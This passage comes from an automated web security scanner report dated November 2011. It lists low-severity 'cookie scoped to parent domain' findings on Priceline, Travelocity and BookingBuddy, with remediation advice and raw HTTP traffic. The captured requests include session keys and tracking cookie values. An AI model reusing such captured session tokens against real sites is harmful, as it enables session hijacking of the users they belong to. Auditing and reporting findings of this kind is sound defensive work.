<li><a rel="nofollow" href="https://travelb.priceline.com/myprofile/setupSignIn.do?jsk=6f1410ac5564010a20111110220209fd5021609144&dact=getPersonalInfo.do&INIT_SESSION=false">update profile</a>
...[SNIP]...
<li><a rel="nofollow" href="https://travelb.priceline.com/myprofile/setupSignIn.do?jsk=6f1410ac5564010a20111110220209fd5021609144&dact=getDealPrefs.do&INIT_SESSION=false">deal preferences</a>
...[SNIP]...
<li><a rel="nofollow" href="https://travelb.priceline.com/myprofile/setupSignIn.do?jsk=6f1410ac5564010a20111110220209fd5021609144&dact=getRewardsInfo.do&INIT_SESSION=false">my rewards</a>
...[SNIP]...
</script>
       

<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true&dbg=F5D499B669627112F013CA662535F126E949002942E3699252C43EB1A0F88B11CD89B5A1F09EE82F6F222C9B562FC8B2473EE27DCCC0519D5C864852C362546768222B05F2D7A29BDEEE64745577463A442A4E44453F474FCCA2CD5CA27509DED85F3CF0B097AFF9C95714FA3E749DCDE821645B0597D3CF" onclick="return(false);" rel="nofollow">dg</a>
...[SNIP]...

7. Cookie scoped to parent domain  previous  next
There are 11 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


7.1. http://tickets.priceline.com/qp.asp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /qp.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606 HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; PSessKey=6F1410AC701410AC20111110215328921bd0227606; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:30 GMT
Server: Microsoft-IIS/6.0
Content-Length: 8918
Content-Type: text/html
Set-Cookie: PSessKey=6F1410AC701410AC20111110215330932c41305378; domain=.priceline.com; path=/
Cache-control: private


<html>
<head>
<meta HTTP-EQUIV="Cache-Control" CONTENT="no cache">
<meta HTTP-EQUIV="Pragma" CONTENT="no cache">
<meta HTTP-EQUIV="Expires" CONTENT="0">
<meta HTTP-EQUIV="content-type"
...[SNIP]...

7.2. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...

7.3. http://travel.travelocity.com/flights/FlightFilterLog.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightFilterLog.do

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /flights/FlightFilterLog.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 244
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

ckbSummaryGridData=AA_267_7_252_8_USD_20111110155347%7Cmulti_null_0_248_16_USD_20111110155347%7CUS_null_0_274_6_USD_20111110155347%7CDL_null_0_277_7_USD_20111110155347%7CUA_null_0_354_4_USD_2011111015
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:14 GMT
Server: Apache
Set-Cookie: JSID=1A5BD9EAD4AE015D0FE30D9A7F63DD76.p0711; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 25

{
   "status": "success"
}

7.4. http://travel.travelocity.com/flights/FlightShoppingPackage.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightShoppingPackage.do

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /flights/FlightShoppingPackage.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
Content-Length: 367
Origin: http://travel.travelocity.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&child
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:24 GMT
Server: Apache
Set-Cookie: JSID=ABF71EFEAC72FC6B4192466810CB2679.p0741; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Set-Cookie: SID=T0072002589111110155520182811666560375; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 638

{
"packagePrice" : 393,
"url" : "FlightShoppingPackageRetrieve.do?nextAction=crossSell&currencyCode=USD&dispNewTimeStamp=&pathIndicatorCode=PKG&modifySearchInd=R&navigatorTabIndex=5&requestId=3314
...[SNIP]...

7.5. http://travel.travelocity.com/flights/FlightsItineraryService.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/FlightsItineraryService.do

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/FlightsItineraryService.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?flightType=roundtrip&dateTypeSelect=EXACT_DATES&leavingDate=12%2F02%2F2011&leavingFrom=BOS&goingTo=MIA&dateLeavingTime=1200&dateReturningTime=1200&returningDate=12%2F04%2F2011&adults=1&seniors=0&children=0&paxCount=1&classOfService=ECONOMY&fareType=all&filterStops=&airlineSearchPref=&membershipLevel=NO_VALUE HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:53 GMT
Server: Apache
Set-Cookie: JSID=9453A110C94A32B31FD58879F92E8C88.p0706; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 55825

{
"metadata" : {
"jSessionId" : "9453A110C94A32B31FD58879F92E8C88.p0706",
"responseId" : "33141553058615",
"imageServer" : "http://i.travelocity.com.edgesuite.net/legacy/logos/",
"se
...[SNIP]...

7.6. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:31 GMT
Server: Apache
Set-Cookie: JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...

7.7. http://travel.travelocity.com/flights/SavedSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:36 GMT
Server: Apache
Set-Cookie: JSID=1D50A6BB126F3AFB02E6B0CA945EED5A.p0734; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...

7.8. http://travelb.priceline.com/sharedapps/scs  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /sharedapps/scs

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sharedapps/scs?val=91F2A0C53F594DA86880E2D3EB88F0292201E89637CACE88AB5DCEFB93CA3736FA50EACEA2F76EB5B4369A79F77ECE2E4124198210D770BBB82C79331F433BA965B577A3DEBFA0A62201E89637CACE8850BB8D88F94F6CDC8B0027E8E1144B10DA6BD0C56050B6C30307BE62C3497A80&ts=1320962089554 HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=6f1410ac701410ac2011111021545868b021856785

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:30 GMT
Server: Apache
Set-Cookie: SETI=91F2A0C53F594DA86880E2D3EB88F0292201E89637CACE88AB5DCEFB93CA3736FA50EACEA2F76EB5B4369A79F77ECE2E4124198210D770BBB82C79331F433BA965B577A3DEBFA0A62201E89637CACE8850BB8D88F94F6CDC8B0027E8E1144B10DA6BD0C56050B6C30307BE62C3497A80; Domain=.priceline.com; Expires=Mon, 09-Jan-2012 04:59:59 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

7.9. http://www.bookingbuddy.com/js_error_log.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /js_error_log.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /js_error_log.php?msg=Uncaught%20ReferenceError%3A%20t%20is%20not%20defined&js_url=http%3A%2F%2Fwww.bookingbuddy.com%2Ftabsearches.php%3Fsearch_mode%3Dair%26ctm%3DB1A1%26source%3Dbbs_farecast_flights_HP_unchecked-box-a_001%26departure_city%3DBOS%26departure_month%3D12%2B2011%26departure_day%3D2%26arrival_city%3DMIA%26return_month%3D12%2B2011%26return_day%3D4%26search_type%3Droundtrip%26num_travelers%3D1&line=1&url=http%3A%2F%2Fwww.bookingbuddy.com%2Ftabsearches.php%3Fsearch_mode%3Dair%26ctm%3DB1A1%26source%3Dbbs_farecast_flights_HP_unchecked-box-a_001%26departure_city%3DBOS%26departure_month%3D12%2B2011%26departure_day%3D2%26arrival_city%3DMIA%26return_month%3D12%2B2011%26return_day%3D4%26search_type%3Droundtrip%26num_travelers%3D1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; entry_time=time; last_visited=1320962028202; last_visited_sent=1

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Vary: Accept-Encoding,User-Agent
Content-Length: 0
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:55:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:55:17 GMT
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com


7.10. http://www.bookingbuddy.com/r/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /r/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /r/?num_ads=8&imp_id=5ZtYWu5AQty7Z1Imji3Wmw%3D%3D&ad_user_tracking=%5Bsource%3D5031%2Ctaparam%3D%2Csupmt%3D%5D&r=i4318529&ad_rank=null&search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1&click_type=c HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; 